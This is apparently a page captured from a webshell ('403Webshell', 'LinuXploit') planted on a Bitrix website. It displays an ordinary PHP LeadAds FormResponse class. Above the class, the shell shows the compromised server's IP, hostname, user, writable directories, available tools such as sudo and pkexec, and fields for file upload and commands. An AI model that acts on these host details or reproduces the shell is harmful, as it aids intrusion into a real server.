403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/seo/lib/leadads/response/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/seo/lib/leadads/response/formresponse.php
<?php

namespace Bitrix\Seo\LeadAds\Response;


use Bitrix\Main\Result;
use Bitrix\Seo\LeadAds\LeadAdsForm;
use Bitrix\Seo\Retargeting\Response;
use Bitrix\Seo\LeadAds\Response\Builder\FormBuilderInterface;

class FormResponse extends Result
{
	/**@var Response[]*/
	protected $data = [];

	/**@var FormBuilderInterface $formBuilder*/
	protected $formBuilder;

	/**@var int $iterator*/
	private $currentResponse;

	/**@var int $responseCount*/
	private $responseCount;

	/**
	 * @params FormBuilder
	 * @param Response[] $responses
	 */
	public function __construct(FormBuilderInterface $formBuilder, Response... $responses)
	{
		parent::__construct();

		$this->formBuilder = $formBuilder;
		$this->currentResponse = 0;
		$this->responseCount = count($responses);

		foreach ($responses as $response)
		{
			if (!$response->isSuccess())
			{
				$this->addErrors($response->getErrors());
			}
		}

		$this->data = array_values($responses);
	}

	/**
	 * Creates new instance of FormResponse in case it must be immutable
	 * @param Response[] $data
	 *
	 * @return FormResponse
	 */
	public function setData(array $data): FormResponse
	{
		return new static($this->formBuilder,...$data);
	}

	/**
	 * @return LeadAdsForm|null
	 */
	public function fetch(): ?LeadAdsForm
	{
		if ($this->currentResponse >= $this->responseCount || !$this->isSuccess())
		{
			return null;
		}

		/**@var array|null $form*/
		if (!$form = $this->data[$this->currentResponse]->fetch())
		{
			++$this->currentResponse;

			return $this->fetch();
		}

		return $this->formBuilder->buildForm($form);
	}

	/**
	 * @return LeadAdsForm[]
	 */
	public function fetchAll(): array
	{
		for($fetchResult = array(); null !== $item = $this->fetch();)
		{
			$fetchResult[] = $item;
		}

		return $fetchResult;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit